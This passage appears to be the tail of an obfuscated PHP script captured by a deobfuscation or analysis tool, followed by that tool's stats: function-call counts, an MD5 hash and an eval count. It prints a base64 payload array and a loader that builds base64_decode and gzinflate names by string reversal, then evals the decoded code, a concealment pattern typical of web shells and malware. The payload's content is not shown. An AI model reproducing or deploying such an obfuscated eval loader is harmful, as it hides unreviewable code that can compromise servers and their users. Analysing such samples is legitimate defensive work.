DoRIzKsF3Ch/IGJe','LOk/NOBl5C44xOJvUk','yZmzjCgUZ3LFoPM3Zp','gFOHT24sqFm+lMbW7J','P2QdOpNk6S83uymYXC','8D21qHdnTR+omVz1Kb','26nnkq6PmzwZJrfjOK','fTM+4mALF6mqZ4+sVw','knFyGp730e9ZGR9d7E','WZIw6UMjYY/44o9G7K','nWxDk0NOejJMxJyYU0','eTAijaqXPtWHRwv8Sf','/uFM0GnZdPE0Couxm2','ILu+pyY8/NVE0nfRAF','+XcyuRjK+EOWKb2Y0x','OTj0o8s908Pp2CyRMO','tpRsqzi4pWCr8Cw25G','NAziqDDJitMMvA5cdS','Mlj6SAqKF/1eAQxNdu','0Uw9xymMnKeWKXYhYM','2+UqWhXsLKNcDatTQV','esvmHIcGa2se6ljlHk','weQ5mmL/iqfWdCi6q9','D1J01SkHhwxHQKAoIc','S8ELVsF20+H5mGaY1b','JnsJdyhn6CoOfl0pnx','ZM9Cv/kxlnJiZAKnIz','sPbuqlEDMrB648pqZu','hGcFhFFWojA8b4Eas5','48VOGgVuC4uJkhnhSl','50hXHhata3i7DJZA7T','4I7ic+foomi5CGptHs','Lojxk3zrh97DhFDm44','Ef4qcwkDDk05+MQQRh','LkJCxHsp8DaeDR6Vyf','gu9MJH/I4P885Dun6h','9UdeOAniGGRrDw8PUY','yMtfljPApm8AEYASGO','+MhSgy+AhR8eZ9/hLX','4Y9/0J0YTe9E58evRm','A5+goT8bwPu3cbhAYV','Nv8uCFJOreB021u/Hs','Xt6QGgah7/VHeF9s+c','FaL1KSIRpp4MU0ep53','6sX9UV1tL4HbKt6jS5','/WLb9xlRNaL3BRKjY3','WiY6h5IXnz0/3GhUaS','HuFdET4OuUrw4Zq56E','HJX3D/OPM689WC9vzC','y8w9zz3aWXSrIn1YHg','UNPyF3EWntRsWbp4zH','+J49HxcffzZe/k6PT9','FTAWF6UKUbqnx2dvP5','6+L0fBW10rAlds8nM7','nT0+oV+DAG7W4gAyju','mNbZh9TTgrTUH1U/Df','8WTitc2WrtT7wXTuxW','MI5APl08XHruK09APl','35BBwUOknF4qdktvJD','UsJbWQVCIdKFdLBFaL','HSj+bO/q4kAJv+2zlt','vSW2C3937/S9CGmuXo','LufMUt6NQ38YfG8bCP','9FETm2hm7ppiLJifnd','OBy09Zb9u+pzWL8zQd','A1uszMaW8DWBUSkjsF','azcvsUD1xrNxDK7GGx','uFcP+736d7c+JCgLzc','pEgHXuOdgbrelPf1xG','BjjzXwntdWDSrJoZKK','qVMo09fIh4wFgv6oqR','xfnZ+cQeDBG2QtQKvR','PnSP3nbPm4pejXb58V','P37OoSr7YF1Zjn3cur','89PL86PTi3fImG1QE3','KTUrMpjZAm6Iv6G5gm','XmSpa5E39HvTYOCLNM','oAeDm1d+dFvriJ3Nhe','ukf8plTsu7OTk7N/n5','wdH11+PDsVWiakVIAq','aD8d/ee8+/bj+UVT4Y','2DlRs0iZORJJu5vNyK','Q0p6U0YS5S6eJJcyk8','uv2cUSefOVLu0URt8w','CiB2wRppdN1Pgjtvot','SCyUBcaCFV8cbd06IN','9F65dJPcG1ebqtpMQw','vVya8fL9svAQHBaiO9','ZlqbA3sUDcOigRDs3/','jf5xO89aS2cywTKL5d','67cHeQ55hagSoi4Iy1','9KJlwIFEl0qKhq7q5q','wgpkpitOelNxFETx3S','NdLk31+Yl2F/OoQltl','THzRJ3gpK/FPHVg0FU','eHePfDcBaId5hVllvw','xfemGHs9vEgaLMA7SN','pMECh+cCSzbwRdCUp+','372Us8Ylps1a+k14M1','MPMqQWYH0A7ffJvEXQ','c7xE6If7ivQ34hHPIu','Sjft+fx3sn3ux+ASj7','WFgXURPeDr4e6rjXLC','C6gl5g7wgDDrTwijCO','g9nMpxDfV44xexApQx','zOF3h3jKyiEJXwAP23','AHgR3A+G0kSUVonnZW','aBhCE4MeVg6q7dyLVQ','Ml+JXigmCfMRm2rUlN','Aml8gi3zCABSCJYeG3','JB/zEZlSqBn81V2otF','+L15uZRMkiNke0lKSo','kCqoQDMpKhMvNWK3ef','F3AXTTmbpMqJuFfYqh','qvkWD9jheGPdwMALIW','tsMnBWkzJuS23oSSAu','293sY8FJpp+/c75WQx','KSfWVl5ksFRc5unfwm','zNegoiK0lXlnzexpNK','hrwpGNuvOyY++8ZIzt','vHRd+NfBLziiW3KYMX','3npeWom0Sl0wRB0Alm','AbX0XyckrWJj1QnJ6i','LeV/5vhXSFSZdYbwIt','dQ9XsaFYX+iqOdOSJq','YffxcKYs2iFet73BOX','neuiHUUJYleoHL5Wsr','EtTZY3GofiRoPkYHxZ','XVsL7rVi/VewlIISuT','uov7iyiglJFJ0a75/b','/wM=');$x_ajmn = strrev('edoc'.'ed_4'.'6'.'es'.'ab');$cvmz = strrev('e'.'tal'.'fn'.'iz'.'g');eval($cvmz($x_ajmn(implode('',$vpxkcf_id)))); ?>
Function Calls
strrev | 2 |
implode | 1 |
gzinflate | 1 |
base64_decode | 1 |
Stats
MD5 | 0314a7e8cdbb726b5fd31f2ccc5e3a97 |
Eval Count | 1 |
Decode Time | 123 ms |